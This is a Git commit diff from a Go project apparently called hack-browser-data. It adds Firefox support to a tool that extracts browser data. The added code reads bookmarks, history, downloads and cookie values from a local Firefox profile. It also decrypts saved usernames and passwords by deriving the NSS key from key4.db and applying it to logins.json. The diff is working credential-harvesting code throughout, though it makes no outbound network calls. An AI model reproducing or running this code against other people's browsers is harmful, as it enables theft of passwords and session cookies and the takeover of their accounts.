feat: support firefox for mac

This commit is contained in:
ᴍᴏᴏɴD4ʀᴋ
2022-01-11 18:19:17 +08:00
parent 9ba87962a6
commit 88fe9c96db
13 changed files with 726 additions and 138 deletions
+48
View File
@@ -1,6 +1,8 @@
package data
import (
"database/sql"
"fmt"
"sort"
"github.com/tidwall/gjson"
@@ -62,3 +64,49 @@ func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (children gjso
func (c *ChromiumBookmark) Name() string {
return "bookmark"
}
type FirefoxBookmark []bookmark
func (f *FirefoxBookmark) Parse(masterKey []byte) error {
var (
err error
keyDB *sql.DB
bookmarkRows *sql.Rows
)
keyDB, err = sql.Open("sqlite3", consts.FirefoxBookmarkFilename)
if err != nil {
return err
}
_, err = keyDB.Exec(closeJournalMode)
defer keyDB.Close()
bookmarkRows, err = keyDB.Query(queryFirefoxBookMark)
if err != nil {
return err
}
defer bookmarkRows.Close()
for bookmarkRows.Next() {
var (
id, bType, dateAdded int64
title, url string
)
if err = bookmarkRows.Scan(&id, &url, &bType, &dateAdded, &title); err != nil {
fmt.Println(err)
}
*f = append(*f, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
URL: url,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].DateAdded.After((*f)[j].DateAdded)
})
return nil
}
func (f *FirefoxBookmark) Name() string {
return "bookmark"
}
+69
View File
@@ -1,7 +1,76 @@
package data
import "time"
type BrowsingData interface {
Parse(masterKey []byte) error
Name() string
}
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
closeJournalMode = `PRAGMA journal_mode=off`
)
type (
loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginUrl string
CreateDate time.Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time.Time
}
download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
}
)
+42
View File
@@ -8,6 +8,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/pkg/decrypter"
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
)
type ChromiumCookie []cookie
@@ -72,3 +74,43 @@ func (c *ChromiumCookie) Parse(masterKey []byte) error {
func (c *ChromiumCookie) Name() string {
return "cookie"
}
type FirefoxCookie []cookie
func (f *FirefoxCookie) Parse(masterKey []byte) error {
cookieDB, err := sql.Open("sqlite3", consts.FirefoxCookieFilename)
if err != nil {
return err
}
defer cookieDB.Close()
rows, err := cookieDB.Query(queryFirefoxCookie)
if err != nil {
return err
}
defer rows.Close()
for rows.Next() {
var (
name, value, host, path string
isSecure, isHttpOnly int
creationTime, expiry int64
)
if err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly); err != nil {
fmt.Println(err)
}
*f = append(*f, cookie{
KeyName: name,
Host: host,
Path: path,
IsSecure: utils.IntToBool(isSecure),
IsHTTPOnly: utils.IntToBool(isHttpOnly),
CreateDate: utils.TimeStampFormat(creationTime / 1000000),
ExpireDate: utils.TimeStampFormat(expiry),
Value: value,
})
}
return nil
}
func (f *FirefoxCookie) Name() string {
return "cookie"
}
+2
View File
@@ -6,6 +6,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/pkg/decrypter"
_ "github.com/mattn/go-sqlite3"
)
type ChromiumCreditCard []card
+60
View File
@@ -4,9 +4,14 @@ import (
"database/sql"
"fmt"
"sort"
"strings"
"github.com/tidwall/gjson"
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
)
type ChromiumDownload []download
@@ -49,3 +54,58 @@ func (c *ChromiumDownload) Parse(masterKey []byte) error {
func (c *ChromiumDownload) Name() string {
return "download"
}
type FirefoxDownload []download
func (f *FirefoxDownload) Parse(masterKey []byte) error {
var (
err error
keyDB *sql.DB
downloadRows *sql.Rows
)
keyDB, err = sql.Open("sqlite3", consts.FirefoxDownloadFilename)
if err != nil {
return err
}
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
return err
}
defer keyDB.Close()
downloadRows, err = keyDB.Query(queryFirefoxDownload)
if err != nil {
return err
}
defer downloadRows.Close()
for downloadRows.Next() {
var (
content, url string
placeID, dateAdded int64
)
if err = downloadRows.Scan(&placeID, &content, &url, &dateAdded); err != nil {
fmt.Println(err)
}
contentList := strings.Split(content, ",{")
if len(contentList) > 1 {
path := contentList[0]
json := "{" + contentList[1]
endTime := gjson.Get(json, "endTime")
fileSize := gjson.Get(json, "fileSize")
*f = append(*f, download{
TargetPath: path,
Url: url,
TotalBytes: fileSize.Int(),
StartTime: utils.TimeStampFormat(dateAdded / 1000000),
EndTime: utils.TimeStampFormat(endTime.Int() / 1000),
})
}
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].TotalBytes < (*f)[j].TotalBytes
})
return nil
}
func (f *FirefoxDownload) Name() string {
return "download"
}
+50
View File
@@ -7,6 +7,8 @@ import (
"hack-browser-data/pkg/browser/consts"
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
)
type ChromiumHistory []history
@@ -49,3 +51,51 @@ func (c *ChromiumHistory) Parse(masterKey []byte) error {
func (c *ChromiumHistory) Name() string {
return "history"
}
type FirefoxHistory []history
func (f *FirefoxHistory) Parse(masterKey []byte) error {
var (
err error
keyDB *sql.DB
historyRows *sql.Rows
)
keyDB, err = sql.Open("sqlite3", consts.FirefoxHistoryFilename)
if err != nil {
return err
}
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
return err
}
defer keyDB.Close()
historyRows, err = keyDB.Query(queryFirefoxHistory)
if err != nil {
return err
}
defer historyRows.Close()
for historyRows.Next() {
var (
id, visitDate int64
url, title string
visitCount int
)
if err = historyRows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil {
fmt.Println(err)
}
*f = append(*f, history{
Title: title,
Url: url,
VisitCount: visitCount,
LastVisitTime: utils.TimeStampFormat(visitDate / 1000000),
})
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].VisitCount < (*f)[j].VisitCount
})
return nil
}
func (f *FirefoxHistory) Name() string {
return "history"
}
-72
View File
@@ -1,72 +0,0 @@
package data
import (
"time"
)
const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places where title not null`
queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id`
queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SELECT * FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk=moz_places.id)`
queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expiry, isSecure, isHttpOnly FROM moz_cookies`
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
closeJournalMode = `PRAGMA journal_mode=off`
)
type (
loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginUrl string
CreateDate time.Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
cookie struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time.Time
}
download struct {
TargetPath string
Url string
TotalBytes int64
StartTime time.Time
EndTime time.Time
MimeType string
}
card struct {
GUID string
Name string
ExpirationYear string
ExpirationMonth string
CardNumber string
}
)
+120 -3
View File
@@ -1,8 +1,11 @@
package data
import (
"bytes"
"database/sql"
"encoding/base64"
"fmt"
"io/ioutil"
"sort"
"time"
@@ -11,6 +14,7 @@ import (
"hack-browser-data/utils"
_ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson"
)
type ChromiumPassword []loginData
@@ -73,9 +77,122 @@ func (c *ChromiumPassword) Name() string {
return "password"
}
type firefoxPassword struct {
}
type FirefoxPassword []loginData
func (c *firefoxPassword) Parse(masterKey []byte) error {
func (f *FirefoxPassword) Parse(masterKey []byte) error {
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(consts.FirefoxKey4Filename)
if err != nil {
return err
}
metaPBE, err := decrypter.NewASN1PBE(metaBytes)
if err != nil {
return err
}
k, err := metaPBE.Decrypt(globalSalt, masterKey)
if err != nil {
return err
}
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
if bytes.Contains(k, []byte("password-check")) {
m := bytes.Compare(nssA102, keyLin)
if m == 0 {
nssPBE, err := decrypter.NewASN1PBE(nssA11)
if err != nil {
return err
}
finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey)
finallyKey = finallyKey[:24]
if err != nil {
return err
}
allLogin, err := getFirefoxLoginData(consts.FirefoxPasswordFilename)
if err != nil {
return err
}
for _, v := range allLogin {
userPBE, err := decrypter.NewASN1PBE(v.encryptUser)
if err != nil {
return err
}
pwdPBE, err := decrypter.NewASN1PBE(v.encryptPass)
if err != nil {
return err
}
user, err := userPBE.Decrypt(finallyKey, masterKey)
if err != nil {
return err
}
pwd, err := pwdPBE.Decrypt(finallyKey, masterKey)
if err != nil {
return err
}
*f = append(*f, loginData{
LoginUrl: v.LoginUrl,
UserName: string(decrypter.PKCS5UnPadding(user)),
Password: string(decrypter.PKCS5UnPadding(pwd)),
CreateDate: v.CreateDate,
})
}
}
}
sort.Slice(*f, func(i, j int) bool {
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
})
return nil
}
func (f *FirefoxPassword) Name() string {
return "password"
}
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
var (
keyDB *sql.DB
)
keyDB, err = sql.Open("sqlite3", key4file)
if err != nil {
return nil, nil, nil, nil, err
}
defer keyDB.Close()
if err = keyDB.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
return nil, nil, nil, nil, err
}
if err = keyDB.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil {
return nil, nil, nil, nil, err
}
return item1, item2, a11, a102, nil
}
func getFirefoxLoginData(loginJson string) (l []loginData, err error) {
s, err := ioutil.ReadFile(loginJson)
if err != nil {
return nil, err
}
h := gjson.GetBytes(s, "logins")
if h.Exists() {
for _, v := range h.Array() {
var (
m loginData
user []byte
pass []byte
)
m.LoginUrl = v.Get("formSubmitURL").String()
user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
if err != nil {
return nil, err
}
pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
if err != nil {
return nil, err
}
m.encryptUser = user
m.encryptPass = pass
m.CreateDate = utils.TimeStampFormat(v.Get("timeCreated").Int() / 1000)
l = append(l, m)
}
}
return l, nil
}